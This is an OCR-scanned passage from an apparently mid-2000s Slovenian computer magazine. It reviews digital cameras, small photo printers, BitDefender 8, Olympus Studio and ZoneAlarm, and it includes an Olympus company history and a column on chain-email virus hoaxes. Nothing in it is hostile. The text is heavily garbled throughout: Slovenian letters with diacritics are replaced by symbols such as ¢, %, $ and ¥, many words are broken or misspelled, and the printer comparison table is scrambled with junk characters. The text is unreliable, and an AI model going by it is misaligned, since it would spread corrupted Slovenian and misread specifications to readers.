kar 300.000 pik. To zado3¢a za lo¢ljivost 640
x 480 pik, v primerjavi z drugimi, ki imajo e
vedno praviloma le okoli 200.000 pik. Zraven
dobite $e snemljivo sonéno zaslonko, ki vam
lahko rabi tudi kot obro¢ za filtre, ¢e vas ne
moti malce vedja velikost fotoaparata. Vse-
kakor gre za spodoben model, le dokaj visoka
cena v primerjavi z drugimi ga utegne drZati
bolj zadaj.

Rollei dr5100

Ta kompaktne? %eli ponuditi nekaj vec&.
Kljub majhnemu in kompaktnemu ohigju je
treba fotoaparat dr¥at z obema rokama, ce
mu ZYelimo spreminjati dolo¢ene mo?nosti.
Poleg tega so lepo stevilo mo¥nosti dali na
eno tipko, kar pomeni kar nekaj pritiskov,
da pridemo do Zelene funkcije. Kljub temu
gre za zanimiv fotoaparat, ki med drugim
omogoca uporabo izmenljive bliskavice.
Obcutljivost tipala je za tako kompakten
fotoaparat zelo visoka, do ISO 1600, a
je videti, da je v tem primeru e krepko ~ §
prek meje tipala in uporabno le v skraj-
ni sili. Fotoaparat pozna vse samodejne
in polsamodejne nacine, ima pa tudi
scenske nastavitve in mo#nost ro¢nih
nastavitev. Zanimiv je tudi objektiv, ki
pokrije uporaben kot, od 28 do 85 mm.
Rollei se v digitalne vode spus¢a %e kar prevec
zadr¥ano, saj ga je vecina znanih proizvajalcev
prehitela. Kljub temu zna pokazati marsikaj,
in kogar so njihovi fotoaparati navdusevali v
analognem svetu, tudi v digitalnem ne bo ra-
zoCaran.

Praktica Luxmedia 4008

Celo bivia vzhodnonemska Praktica se je
odpravila na digitalno podro&je. Preizkusi-
li smo model Luxmedia 4008, ki se ponasa z
8x spremenljivo goris¢nico in 4-milijonskim
tipalom. Kljub lepi obliki in dostopnim funk-
cijam fotoaparat deluje okorno, k &emur pripo-
morejo tudi ostre oblike ohiSja. S preizkusom
nismo bili najzadovoljnejsi, saj je bilo v&asih
ostrenje loterija, kljub dobrim svetlobnim raz-
meram. Kakovost slike je povpre¢na in neka-
ko ne odstopa od povpredja Stirimilijonskih
fotoaparatov. Luxmedio 4008 resuje predvsem
zanimiva cena, ki bo privabila marsikaterega
uporabnika.

Konica Minolta Dynax 7D

Ceprav je takrat, ¥e leta 1995, samo e Minol-
ta pokazala zrcalnorefleksni digitalni fotoapa-
rat, smo doslej skupaj z najnovej§im Dynaxom
7D videli le tri njihove fotoaparate tega tipa.
RD-175 je bil zanimiv zaradi cene, kajti stal je
borih 5500 dolarjev (Canon, Kodak in Nikon
so imeli petkrat do desetkrat visjo ceno), in ti-
pala. Pravzaprav treh, ¢e smo natan&ni, kajti
za vsako barvo je skrbelo posebno tipalo. Foto-
aparat je bil zaradi tega stra§no debel in prav

novi digitalni fotoaparati

ni¢ podoben digitalnemu
fotoaparatu, prej kak$nemu
metalcu raket. Narejen je bil
skupaj v sodelovanju z danes %e
malce pozabljeno Agfo. Pet let pozneje mu je
sledil RD-3000, ki je imel za osnovo Minoltin
fotoaparat APS. Kljub za tiste ¢ase zanimivi
ceni se nekako ni prijel, morda predvsem zara-
di objektivov, ki jih za sistem Vectis ni ravno
veliko. Letos smo le do&akali tisto pravo, kot
se od Konice Minolte tudi spodobi, Dynax
7D. Ni tezko ugotoviti, da so za osnovo vzeli
analogni model Dynax 7. Ta fotoaparat je
Ye v osnovi namenjen zahtevnej$im ama-
terjem ter resnim uporabnikom in so ga
priredili za digitalno okolje. Ponaga se
z enim od najve&jih LCD-zaslonov za
zrcalnorefleksne modele, kar je za pre-
gled slik vsekakor dobrodogla novost.

Gumbov in nastavitev je kar nekaj in

ni veliko sprehajanja po menijih. Ce

ste %e uporabnik katerega od Minoltinih
fotoaparatov, vam bo novinec hitro se-
del v roke. Ceprav je fotoaparat velik, ima
enega od najboljsih drZajev, Se zlasti &e si omis-
lite baterijsko drZalo. Slednje omogoca tudi
uporabo klasi¢nih AA-baterij. Zdaj pa k tiste-
mu, kar ta fotoaparat postavlja tehni¢no med
najnaprednejSe — to je umirjevalnik slike. Ta
napravica premika tipalo po obeh smereh (X
in Y osi) in tako izravnava zunanje tresljaje.
Deluje odli¢no, saj smo z 90 mm objektivom
iz roke posneli oster motiv z 1/10 sekunde. V
nasprotnem primeru bi bil normalen &as 1/90
sekunde, z malce srece pa najved 1/45 sekun-
de. Kar je Se pomembnejse, vsak objektiv tako
dobi umirjevalnik slike, ne pa kot pri Canonu
ali Nikonu, ko imajo to mo?nost le nekateri
objektivi. Pri Konici Minolti so tudi dokazali,
da dobro obvladajo obdelavo signala iz tipala,
saj imajo slike zelo malo $uma, tudi pri visjih
ob&utljivostih.

Konica Minolta je s tem fotoaparatom do-
bila pravi zagon, ki ji je toliko asa manjkal.
Krog uporabnikov imajo zelo Sirok, saj so od
leta 1985, ko so predstavili prve objektive s
samodejnim ostrenjem, teh prodali kar 36 mi-
lijonov. Za&etek je dober, zato, kot pravi stari
pregovor — kuj Zelezo, dokler je vro&e.
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mali tiskalniki

MALO JE LEPO

Mali tiskalniki za domaco rabo pocasi dobivajo zagon, kar se pozna tudi pri njihovi ceni.

Pise: Alan Orlié BelSak
alan.orlic@mojmikro.si

okratsmopreizkusiliobeglavnitehnologiji,
termosublimacijo in brizgalno tehniko.
Prvo ima Canon Selphy CP400, drugo pa
Epson Photomate in HP-jeva tiskalnika

osebnega racunalnika omogo¢a tudi tiskanje
iz digitalnega fotoaparata, Ce je ta zdruzljiv
s standardom PictBridge. Izpis je dokaj hiter,
Ceravno ne najhitreji, saj porabi za eno stran
nekaj ved kot 80 sekund. Termosublimacija
omogota zelo kakovosten izpis, tudi ¢rno-belih

slik.

Photosmart 375 in 325. Vsi modeli so zasnovani
tako, da mora uporabnik ¢im manj misliti pri
menjavi kartu§ oziroma potro¥nega materiala.
Epson ima celo le eno samo kartu$o, Ceprav
tiska Sestbarvno. Poleg tega so omejili $tevilo
izpisov na 100 z eno kartuso — potem jo je
treba zamenjati. Canonov potro$ni material
je v obliki posebne folije, v obeh primerih pa
dobimo zraven tudi ustrezno koli¢ino papirja,
ki ustreza porabi. HP je v tem primeru bolj
tradicionalno usmerjen, saj ima le tribarvno
kartuo, ki pa se zelo dobro obnese. Kljub
temu je treba biti pazljivejsi pri barvi, saj je
se potro$ni material kupuje lo¢eno in ne
tako kot pri Canonu in Epsonu, kjer ga
kupite v kompletu.

Canon Selphy CP400 sledi po
zunanjosti prej$njim modelom, kar pomeni
majho velikost in preproste linije. Gumbe
boste zaman iskali, jih ni. Poleg tiskanja prek

Epson Photomate je v primerjavi s Canonom
bistveno vedji, saj ima vdelan tudi ¢italnik
pomnilniskih kartic. Dobite ga v dveh

razli¢icah, navadni in mobilni, pri
slednji je zraven Se USB-vmesnik
bluetooth, ki omogoca tiskanje iz
mobilnih telefonov, ¢&e podpirajo
zajem slike. LCD-zaslon ne prikaZe
slike, temve¢ le njeno zaporedno
Stevilko in nam omogoda nekatere
osnovne nastavitve, tako da moramo
pazljivej$i pri neposrednem tiskanju
spomnilniskih kartic. Za izpis porabi vec
&asa kot Canon, skoraj dve minuti.

Izdelek Ganon Selphy GP400 Epson Photomate HP Photosmart 325 HP Photosmart 375
Posodil Avtera, d.0.0. Avtera, d.0.0. HP d.o.0. HP, d.o.0.
Spletna stran WWWw.canon.com WWW.epson.com www.hp.com www.hp.com

E_||l|l||l|r.||lllllllrl|||||||||r.|||||||||r.
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velikost, hitrost izpisa ~ moznost tiskanja iz moznost tiskanja iz Moznost tiskanja iz
mobilnih naprav mobilnih naprav, izpis  mobilnih naprav, izpis

Proti rahlo vijolicasto malenkost prevec¢ drazji izpis drazji izpis
obarvanje pri ¢rno-belih - mocne barve
izpisih
Velikost izpisa 148 x 100 mm, 200x 150 x 100 mm 150 x 100 mm 150 x 100 mm
100 mm*
Hitrost izpisa 84s 114s 90s 90s
Dodatne moznosti Pictbridge Pictbridge, Citalnik za  Pictbridge, Citalnik za  Pictbridge, ¢italnik za
pomnilniSke kartice, pomnilniSke kartice, pomnilniSke kartice,
vmesnik bluetooth vmesnik bluetooth vmesnik bluetooth
Cena izpisa** 83 SIT 99 SIT 145 SIT 145 SIT
Cena 34.900 SIT Se ni dolocena 50.093 SIT 69.207 SIT
* 7 dodatnim drzalom za papir
**Cena izpisa je izracunana glede na potrosni material, pri Epsonu
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HP je z modeloma Photosmart 375 in 325
nadaljeval svojo zgodbo majhnih tiskalnikov.
Podobno kot Epson Photomate omogocata
tiskanje neposredno s pomnilniskih kartic,
omogolata pa celo brezZi¢no tiskanje prek
povezave bluetooth iz mobilnih telefonov
in dlan¢nikov. Ta segment postaja cedalje
mod&ne;jsi, lo¢ljivost fotoaparatov, vdelanih v
mobilne telefone, se veda in proizvajalci tega
nikakor ne Zelijo izpustiti iz rok. Za tiskanje na
terenu lahko dokupite tudi baterijo, ki z enim
polnjenjem omogo&a okoli 75 izpisov. Ce vam
to ni dovolj, je tu $e avtomobilski adapter za
polnjenje in delovanje. Ceprav da imata oba

e 134

—

tiskalnika le tribarvno kartuSo, je kakovost
tiska zelo dobra, presenetljivo dober je tudi
&rno-bel izpis. Prakti¢no ni potrebe po posebni
&rno-beli kartusi, ceprav lahko za kakovostnejsi
izpis dokupite tudi to. Razlika med obema
tiskalnikoma je predvsem v ve&jem zaslonu in
mo?nosti odprave uinka rdetih o&i — oboje
premore le model 375. Omogocata tudi tiskanje
posnetkov ali zaporedja iz videoposnetka, tudi
s pomnilniske kartice. Preizkus je pri obeh
pokazal zadovoljivo kakovost za domaco rabo
in z malce preizkuSanja nastavitev se ju da zelo
dobro nastaviti.

Canon ima nekaj cenej§i izpis in ni%jo
ceno v izhodis¢u, medtem ko Epson ponuja
ved mo¥nosti. Vsi se lahko pohvalijo z veliko
obstojnostjo izpisa, saj naj bi bila ta ve¢ kot
100 let (bomo videli, ali res). Ce juprimerjamo
s fotolaboratoriji, je njihova glavna prednost
takojSen izpis in prenosljivost, saj so dovolj
majhni, da jih brez tefav odnesemo na teren.
Epson ima celo posebno ro¢ko, namenjeno le
temu. Domace tiskanje torej postaja dostopno
in podasi po ceni lovi fotolaboratorije, kar je za
uporabnike zelo spodbudna novica.
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OLYMPUS NA OLIMPU

Vse se je zaCelo pred 86 leti z nalogo narediti prvi japonski mikroskop. Iz tega je
zrasla korporacija Olympus, ki jo danes mnogi poznamo predvsem v fotografskem
svetu, a njeno pomembno podrocje je Se vedno medicinska tehnika.

Pise: Alan Orlic BelSak
alan.orlic@mojmikro.si

rvotno ime je bilo Takachiho Seisakus-

ho, pod blagovno znamko Olympus pa

so zaleli prodajati dve leti po ustanovit-

vi. Cilj, narediti prvi japonski mikro-
skop jim je uspel zelo hitro. Izdelovati so za-
Celi tudi klini¢ne termometre in v se tridesetih
letih prej$njega stoletja podali v fotografske
vode.

Prvi fotoaparat, predstavljen leta 1936, se je
imenoval Semi Olympus I, tri leta pozneje pa
mu je sledil Olympus Six I. Oba sta uporab-
ljala format filma 120, ki ga $e danes uporab-
ljajo srednjeformatni fotoaparati. Model Six
je do¥ivel kar Sest nadgradenj in so
ga izdelovali vse do leta 1955. Leta
1937 so razvili model Standard, ki
pa zaradi vojne nikoli ni videl serij-
ske proizvodnje. Vojna je zaustavila
proizvodnjo vse do leta 1948.

Naslednje leto se je tovarna pre-
imenovala v Olympus Optical Co.
in njihove delnice so zacele kotirati
na tokijski borzi. V svet filma Leica
so vstopili z modelom 35, ki so ga
z razli¢nimi predelavami izdelovali
kar 30 let, do leta 1978. Pomemben
korak je serija modelov Pen, ki so se
ponasali s samodejnim merjenjem
svetlobe in polovi¢nim formatom slike. Tako
je na en film, ki je bil sicer za 36 posnetkov, za-
pisal dvakrat veg, kar 72 posnetkov. Za ta mo-
del so razvili celo vrsto objektivov, kar 17, in
dodatkov, od makro nastavkov do vmesnikov
za druge tipe objektivov, tudi Leicinih.

OMOV PECAT

A pravo obdobje razcveta se je zacelo s serijo
OM, ki je pustila mocan pecat v fotografiji. Se
danes se jih najde kar nekaj, ki te fotoaparate
pridno uporabljajo, predvsem v jamski fotogra-
fiji. Za izdelavo prvega modela OM-1 so si vze-
li Sest let in ga leta 1972 predstavili fotografski
srenji. Bil je bistveno laZji in manjsi od podo-
bnih aparatov drugih proizvajalcev, poleg tega
je imel zelo tih zaklop in veliko iskalo. Skupaj
z vzdriljivim in trpe?nim ohisjem je bil pravo
orodje za profesionalne fotografe, branili pa se
ga niso niti amaterji. Sistem se je z leti $iril,
modelu OM-1 so sledili $e 2, 3 in 4, zadnja dva
tudi z ohiSjem iz titanove zlitine, ¢e nasteje-
mo le nekaj pomembnejsih. Posebna prelom-
nica je bil OM-2, ki je bil prvi s tehnologijo
merjenja svetlobe bliskavice TTL (Thru The
Lens — skozi objektiv). Ta pomembna novost
je olajsala rabo bliskavic in nadzor nad njimi,

z nekaterimi izboljSavami pa se $e danes upo-
rablja v ve&ini zrcalnorefleksnih fotoaparatih,
tudi digitalnih. Zadnji fotoaparat iz te serije je
bil predstavljen leta 1997, OM-2000.

A vmes se je zgodila pomembna prelomnica,
samodejno ostrenje. Prvi njihov model je bil
OM-30 iz leta 1983, ki je imel ostrenje izvede-
no kar na objektivu. Pravi fotoaparat je prisel
Stiri leta pozneje, OM-707, leto kasneje mu je
sledil 3¢ OM-101. Tu se zgodba o Olympuso-
vih analognih zrcalnorefleksnih fotoaparatih s
samodejnim ostrenjem konca. Ali so se vodilni
mo%je ustrasili zaradi zamude, kajti ve&ina dru-
gih proizvajalcev je %e prestopila na ta vlak, ali
pa so videli prilofnost kje drugije, tega ¥al ne
bomo izvedeli.

ZLR IN ZEPNI MODELI

Drugate kot konkurenca so se raje posvetili
Yepnim modelom in fotoaparatom ZLR (Zoom
Lens Refleks — pravi zrcalnorefleksni fotoapa-
rat, ki nima mo¥nosti menjave objektiva). Za-
&eli so s fotoaparati XA, ki je prvi imel danes
%e zelo razSirjen drsni pokroveek, ki §&iti ob-
jektiv. Najbolj znana je predvsem serija myu,
ki je prestopila v digitalne vode. Myu-1 in nje-
gov naslednik myu-2 sta bila priljubljena tudi
med profesionalnimi fotografi, saj sta majhna
in predvsem zanesljiva.

Med mal¢ki najdemo kar nekaj zanimivosti.
AF-1 je bil prvi vremensko odporen kompak-
tni fotoaparat, O Product pa je bil mesanica
retro oblikovanja in moderne tehnike v alu-
minijastem ohisju, namenjen predvsem zbira-
teljem. Naredili so jih namre& le 20.000 ob 70.
obletnici ustanovitve podjetja.

V MEDICINSKEM SVETU

Poglejmo si $e malce medicinsko zgodovino.
Prav Olympusovi razvojniki so naredili prvo
gastroskopsko kamero in to pred vec %e kot
50 leti. Poleg %e na zatetku omenjenih mikro-
skopov in endoskopske opreme so v njihovem
programu $e kirur§ka oprema in kemi¢ni ana-

ZGODOVINA FOTOGRAFIJE
OLYMPUS

Olympusova legenda

Vsak pravoverni fan Olympusovih OM-ov
je %e slital za Yoshihisa Maitanija. Ta zdaj Ze
upokojeni inZenir je namre¢ stal za razvojem
marsikaterega Olympusovega fotoaparata,
od modela Pen naprej. Bil je tudi glavni pri
razvoju fotoaparata OM-1 oziroma sistema
OM in seveda e pri marsikaterem drugem
projektu. Njegovo navdugenje nad foto-
aparati je bilo taksno, da je velikokrat delal
nadure, le zato, da bi lahko ¢imve¢ naredil.
In kako je gospod sploh postal slaven? V
ameriskem marketinskem oddelku so se od-
lo¢ili za promocijo fotoaparatov in ga upora-
bili kot glavni lik za marketinsko akcijo.

lizatorji, & nastejemo le najbolj znane. Ce se
vrnemo k fotografiji — za mikroskope so razvili
posebne modele fotoaparatov, ki so bili prire-
jeni za tak$no rabo, nekateri so bili celo brez
zaklopa.

DIGITALNA DOBA

V digitalnem svetu so Olympusu zelo prav
prisle izkusnje, ki so si jih pridobili s kom-
paktnimi fotoaparati. Ceprav na zaetku niso
bili vodilni, so dokaj hitro, leta 1987, pred-
stavili svoj prvi model, V-100. Sledila sta mu
VC-102, ki je imel objektiv s spremenljivo
gori¥¢nico, in serija Deltis. Lo¢ljivost je bila
skromnih 640 x 480 oziroma 768 x 576 pik,
cena pa primerna tistemu &asu. Pravo obdobje
se je zaCelo leta 1996, ko je prisel na trg D-
200L z lotljivostjo 640 x 480 pik in s ceno,
ki je %e bila primerna za domati Zep. Sledil mu
je D-300L z lo¢ljivostjo 1024 x 768 pik. Leto
pozneje je prisel C-1000L, njegovega nasled-
nika, C-1400L pa smo dolgo ¢asa uporabljali
tudi v urednistvu Mojega mikra. Posebne?, ki
se ni nikoli uveljavil, je bil C-211 z vdelanim
tiskalnikom, za fotoreporterje pa so naredili
model E-100RS, ki ima Se zdaj neulovljivih
15 posnetkov na sekundo.

Od tu naprej je zgodovina Ze bolj ali manj
znana, pravo revolucijo pa pomeni sistem 4/3.
Z njim se je Olympus vrnil v zrcalnorefleks-
ni razred in v primerjavi z drugimi proizvajalci
so lahko sistem postavili na novo, ne da bi jim
bilo treba upostevati omejitve prejinjih foto-
aparatov ali velikosti tipal. Odlo¢ili so se za raz-
meroma majhno tipalo (faktor povedave je 2x v
primerjavi s 35 mm fotoaparati) in s tem sledili
smernicam, ki so jih postavili %e s fotoaparati
OM in Pen. Manjse tipalo ima ve¢ prednosti
- fotoaparat je lahko manjgi, enako objektivi,
ki so pri enaki velikosti svetlejsi. Zaenkrat sta
predstavljena le dva modela, E-1 in E-300, o
katerem lahko berete v tej $tevilki Mojega mi-
kra, Ye kmalu pa pri¢akujemo naslednika E-1.

S predstavitvijo sistema 4/3 so zaleli resne-
je sodelovati v formuli 1, s Ferrarijevim mo-
$tvom. A to ni njihovo prvo sodelovanje v tem
hitrem $portu; Ze leta 1985 so sodelovali z Lo-
tusom (mostvom JPS), za katerega je vorzil tudi
legendarni, a pokojni Ayrton Senna.

|
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PROGRAMSKA OPREMA

: "\‘u'.
UREJA: Milan Sim¢i¢ milan.simcic@mojmikro.si

»Prosimo,
posljite
naprej«

red dnevi sem od prijateljice prejel
elektronsko posto, v kateri me opozarja,
da po internetu kro%i zelo nevaren
virus, ki pobrie dolocene datoteke iz
trdega diska. V prilogi ngj bi bilo vse natan¢no
obrazlofeno. Za vedjo verodostojnost informacije
naj bi poskrbelo e priporocilo korporacij
Microsoft in Symantec, da je treba biti nadvse
pazljiv. Ze po nacinu, kako je bila vsebina
elektronske poste sestavljena, je bilo jasno,
da gre za potegavi¢ino. Seveda sem se lahko
zelo hitro preprical, da moja domneva dri, po
obisku Symantecove strani, kjer je bilo natan¢no
razlofeno, da gre dejansko za potegavscino.

Ob takih dogodkih se vedno spomnim pruih
virusov, ki so kro%ili po elektronski posti.
Prispelo je sporocilo z navodilom, ¢&es je treba
vse datoteke z diska C zbrisati ker da so
okugene. Ne boste verjeli, da je bilo kar nekaj
takih, ki so svoje nexnanje drago placali. Pozneje
50 se pojavile Se nove razliCice omenjenega
»virusa«, kjer smo v elektronski posti dobili
natanéna navodila, katere sistemske datoteke je
treba v racunalniku pobrisati. Jasno je, da po
ponovnem zagonu racunalnik ni ve¢ deloval in
treba ga je bilo odnesti na servis.

Pa se vrnimo k elektronski posti, ki sem
jo prijel od prijateljice. V tem primeru je bilo
v elektronskem sporocilu jasno zapisano, da
Microsoft in Symantec naproSata vse prejemnike
elektronskega sporocila, naj ga posredujejo
vsem sVOjim ynancem in »neynancemc caradi
obwvestanja pred zlonamerno kodo. Cilj tega
sporocila pa je bil v resnici, da se v kratkem
Casu vsi postni stregniki zapolnijo z ogromno
kolicino elektronske poste, ki bi prihajala od
powsod in je namenjena na ogromno koncev.
Zamislimo si, da vsak, ki prejme tovrstno
sporocilo, tega razposlje na vsaj 50 naslovow.
Kam to pelje? Kaj kmalu se zasitijo vse povezave
in streniki. Sistem se sesuje. K sreci pa je tudi
precej uporabnikow osveSéenih in ne padajo na
take poceni trike.

V tem letu pricakujem kar precej razli¢nih
virusov in zlonamernih kod, ki pa bodo na precej
visji ravni od zgoraj omenjenih. Torej pazljivo
tudi v novem letu, saj virusi ne izbirajo ...
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BitDefender 8 Professional Plus

VSESTRANSKA, A NE POPOLNA ZASGITA

BitDefender je predvsem znan po svojem protivirusnem programu, osma izdaja pa je
zasCito razSirila Se na podroCje varovanja pred nezeleno posto in vdori v racunalnik

Pise: Jernej Pecjak
jernej.pecjak@mojmikro.si
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metodami pa program
prepredi vstop tudi
nekaterim neznanim
virusom. Lokalne datoteke lahko pregledamo
bodisi ro¢no bodisi s ¢asovnim nastavljanjem.
Sumljive datoteke se shranjujejo v karanteni,
samodejno pa se odposljejo tudi avtorjem pro-
grama, kar pa lahko izklju¢imo. Posta se pre-
gleduje na ravni protokola POP3, zato nismo
vezani na dologenega odjemalca.

Blokiranje neZelene poste prav tako deluje
prek protokola POP3, s posebnim modulom pa
se povee z Outlookom in Outlook Expressom
ter omogoda neposredno nastavljanje njego-
vih mo?#nosti. Kriterije za pregled dolo¢imo
z u¢enjem (Bayesov filter), kjer se filter sam
wdi glede na nase oznacbe ¥elenih in ne¥elenih
sporotil. Za ve&jo udinkovitost je dodan tudi
hevristi¢ni filter. Dolo¢imo lahko tudi seznam
naslovov, iz katerih se posilja tovrstna posta,
in seznam znancev, od katerih Zelimo prejeti
vse, kar posljejo. Gre za tako imenovani &rno-
bel seznam (blacklist/whitelist), kamor lahko
uvozite tudi sezname s spletnih strani, ki se
bojejo proti neZeleni posti. Na voljo je nekaj
posebnih moZnosti, kot je filtriranje glede na
uporabo znakov (blokada azijskih in arabskih
simbolov ipd.). Kljub vsemu pa je filter v nasih
testih prepustil kar precej »smeti«, ve¢ kot ne-
katere brezpla¢ne regitve (denimo K9).

Najmanj uporaben je poZarni zid, ki mu naj-
bolj zamerimo to, da varuje le pred napadi od
znotraj, tiste od zunaj pa prepusa pozarnemu

BitDefender 8 Professional Plus se Zeli hojevati proti virusom, nezeleno posto in
omogo¢iti pozarni zid, kar mu ne uspeva stoodstotno.

zidu Windows ali drugim refitvam. Imeti mo-
ramo torej usmerjevalnik (router), po¥arni zid
v Windows XP SP2 ali drugo regitev za bloki-
ranje napadov od zunaj. Nadzorujemo pa lah-
ko pretok podatkov od naSega raunalnika v
internet s selektivnim izborom, kateri program
sme posiljati podatke in kateri ne, upravljanje
z modemom, izvrSevanje skriptov in vodenje
brskalnikovih piskotkov. Slednje je bolj ali
manj odve&, saj moderni brskalniki sami zelo
dobro upravljajo s piskotki.

BitDefender se samodejno nadgrajuje, po-
mo¢ v programu pa je narejena pregledno v
obliki posebnega stolpca, ki prikaZe, kar je pad
trenutno aktualno. Vseeno pa program pusti
nekoliko grenak priokus, saj je poZarni zid pre-
cej pomanjkljiv, protivirusni modul bi lahko
poznal tudi vse vohunske skripte (spyware),
licenco pa je treba placevati letno. B

BitDefender 8 Professional Plus

Kaj: Protivirusni program, zascita pred nezeleno
posto in pozZarni zid

Za: Protivirusni program, enostavnost

Proti: Pozarni zid, letna naro¢nina

Operacijski sistem: Windows 98 XP

CGena: 45 dolarjev za eno leto,

vsako naslednje po 22 dolarjev.

Spletni naslov proizvajalca: www.bitdefender.com/
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PREIZKUSILI SMO ...

Olympus Studio

FOTOGRAFI ZA RACUNALNIKOM

Olympus je sicer dokaj pozno zaplaval v profesionalne vode z zrcalnorefleksnim
digitalnim fotoaparatom, a so si izkusnje nabirali Ze prej, z modeloma E-10 in E-20.

PiSe: Alan Orlié BelSak
alan.orlic@mojmikro.si

modelom E-1 so naredili velik korak
naprej tudi v razvoju programske opre-
me. A drugale kot pri Canonovih in
Nikonovih aparatih je treba program
kupiti. Na voljo je sicer tudi oskubljena raz-
li¢ica, a ta nima moZnosti
obdelave slik, zna jih le
pregledovati in pretvoriti
iz surovega (pri Olympusu
ORF) formata v JPEG ozi-
roma TIFE A &e primer-
jamo Olympusov Studio s
prvima dvema, ima slednji
veliko ve& moZnosti.

PREGLED SLIK

Program je podobno
kot drugi razdeljen na dva

dela: prvi je namenjen pre-
gledu, drugi obdelavi slik.
Pri pregledu pozna 3tiri

nadine dela, ki zelo spo-
minjajo na klasi¢no delo z
diapozitivi na sortirni mizi. Naenkrat imamo
lahko v vegjih oknih do §tiri slike (dve je pri-
poro&ljivo), ki jih lahko primerjamo med seboj.
Pri povecavi se vse slike pove&ajo na enakem
mestu, tudi ko spreminjamo polo¥aj pogleda,
se slednji spreminja na vseh slikah. Ko Zelimo
med seboj primerjati dve ali vet slik, je tak na-
&in dela zelo primeren, saj hitro vidimo razlike
med posameznimi posnetki. Program ima tudi
mo¥nost celostranskega pregleda, podobno kot
na primer ACDSee. Potek dela je dokaj podo-
ben kot pri Ze omenjeni sortirne mizi. Posnetke
lahko hitro ozna&imo s tremi barvnimi oznaka-
mi, rdeco, rumeno in mod-
ro, ter s tem dolo&imo, ali
so nam v3e€ ali ne. Poleg
tega jih lahko razdelimo
$e v dve zbirki, tako da iz-
bira ustreznih posnetkov
poteka zelo hitro. Pri tem
je treba pripomniti, da je
sta brskanje po slikah in
pregled izjemno hitra -
Ceprav so surove datoteke
velike 10 MB, jih Studio
odpre tako reko¢ takoj.

OBDELAVA

Drugi del je namenjen
obdelavi slik. Razkogje
mo¥nosti, ki se tu odpre,
bo zadovoljilo tudi najza-
htevnejse uporabnike. Za-
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radi njih je delovno okno Ze kar malce preved
zapolnjeno in je na ratun tega treba zmanjsati
sam posnetek. Program ponuja od obdelave
surovih datotek, popravljanja napak objekti-
va, dodajanja filtrov, odstranjevanja $uma do
dodajanja besedila na sliko in izrezov. Te na-
stavitve lahko shranimo in jih uporabimo na
naslednji fotografiji ali v skupinski obdelavi.
Vse popravke program takoj vnese v sliko, kar
utegne biti pri pocasnej§ih raunalnikih kar
zahtevno opravilo, predvsem odstranjevanje
$uma. Pri obdelavi surovih slik so na voljo tudi
tiste moznosti, ki so sicer le v fotoaparatu. Po-
pravimo lahko ostrino, kontrast in barvne na-
stavitve. Podobno velja tudi za proti$umni fil-
ter, ki ga lahko vklopimo ali izklopimo ne glede
na nastavitev v fotoaparatu. Dodajanje filtrov
je podobno kot pri programu Adobe Photos-
hop CS, dodajamo pa lahko razli¢ne ucinke,
podobne klasi¢nim fotografskim filtrom. Lju-
bitelji &rno-bele fotografije bodo cenili tudi
moZnost uporabe teh filtrov, kajti takoj dobimo
usstrezno &rno-belo fotografijo. Za namecek so
poskrbeli Se za odpravo uéinka rdecih o¢i, kar
utegne biti marsikomu &isto uporabna funkci-
ja. Ustavimo se e pri dveh mo¥nostih, skupin-
ski (batch) obdelavi in nadzoru fotoaparata.
Skupinska obdelava je pomembna, ko Zelimo
hkrati obdelati ve¢ slik s skupnimi parametri.
Obdelava poteka zelo hitro, saj porabi le nekaj
sekund na posnetek, da ga pretvori v format
JPEG. Zal v tem ¢asu ne moremo uporabljati
brskalnika, temved moramo pocakati do kon-
ca obdelave. Nadzor fotoaparata je zanimiva
mo¥nost predvsem za studijsko delo, saj foto-
aparat takoj prenese sliko v osebni ra¢unalnik.
Pregled je tu hitreji, predvsem pa pokae pra-
vo sliko. Z ra¢unalnikom lahko naredimo tudi
&asovni zajem slik, recimo vsakih nekaj sekund
ena slika. Program ima kar nekaj mo#nosti za
nastavitve, tako da si ga lahko uporabnik pri-
lagodi po lastnem okusu. To velja predvsem za
pregled slik in za splo$ne nastavitve.

Olympus Studio je zanimiv program, in e
veliko fotografirate ter dodatno obdelujete sli-
ke, se vam zagotovo spla¢a razmisliti o nakupu.
Je drazji kot Phase One C1 LE razlicica (naj-
osnovnej$a), a ponuja bistveno ve&. Vse tisto,
kar ste v fotoaparatu napa¢no nastavili ali po-
zabili, lahko s tem programom popravite. Kar
bi lahko bilo boljse, je hitrost delovanja, kajti
ko enkrat sliko obdelujete, program popravke
izvaja takoj in zahtevnejsih je treba po&akati
nekaj sekund, da jih izvede. Olympus Studio
je vsekakor dodatek, ki si zaslu?i pozornost ne
le profesionalnih, temve& tudi amaterskih upo-
rabnikov. B

| Olympus Studio
ZaloZnik: Olympus
Za: Moznosti, hitrost pregledovanja
Proti: Obdelava
Cena: 43.800 SIT
Posodil: Sting, d.o.o.
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PREIZKUSILI SMO ...

paket za zaScito racunalnika

ZoneAlarm
Security Suite
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pozarnih zidovih, ki uporabnikom rabijo predvsem

doma. V svoj novi paket ZoneAlarm Security Suite
so uvrstili kar precej programov, ki pa so vsi nadvse do-
brodosli in predvsem potrebni.

Veasih imam ob&utek, da bomo s¢asoma kupovali le Se
dodatke k sistemu, ker je sama zasnova operacijskega si-
stema preved ranljiva in dovzetna za taksne ali drugaéne
napade. Kakorkoli ¥e, ZoneAlarm naj bi vas kusal pred
tem zasCiti.

Zbirka ima dva nelo¢ljiva programska sklopa, ki pa
sta $e kako potrebna: zas¢ito pred virusi in poZarni zid.
Seveda vsak od njiju obvlada razli¢na polja delovanja.
Protivirusni program pazi na vaSe podatke in odstranjuje
nadlogo, $e preden je napaka storjena. Po¥arni zid varu-
je vsa vhodna vrata v va$ rac¢unalnik in vam »teZi«, kaj
storiti. Seveda s tem preprecuje tako vohunskim progra-
mom kot tudi vsem drugim vstop brez dovoljenja. Stiti
tudi vaSe osebne podatke in ne dovoli, da jih kdo prenese
iz racunalnika.

Vse ve¢ mladih uporablja tudi klepetne programe
(MSN, ICQ, Yahoo Messenger ...), ki pa so v osnovi ne-
zadCiteni in zato dovzetni za taksne ali drugacne zlorabe.
ZoneAlarm ima modul tudi za preprecevanie teh. Se veg,
zna $ifrirati vhodne podatke.

Sam program je, podobno kot njegova najosnovnejsa
razli¢ica, precej enostaven za uporabo. Vsekakor pa boste
porabili nekaj ve& &asa, da se prebijete skozi vse nastavit-
ve, ki jih je res veliko. Najnujnejse program nastavi Ze pri
namestitvi. O vsem drugem dogajanju na sti¢is¢u kabla
in sistema vas bodo obves¢ali prijazni balon¢ki, na kate-
re se boste navadili neprestano klikati in dovoljevati ali
zavracati prihajajoce in odhajajoce pakete. V glavnem,
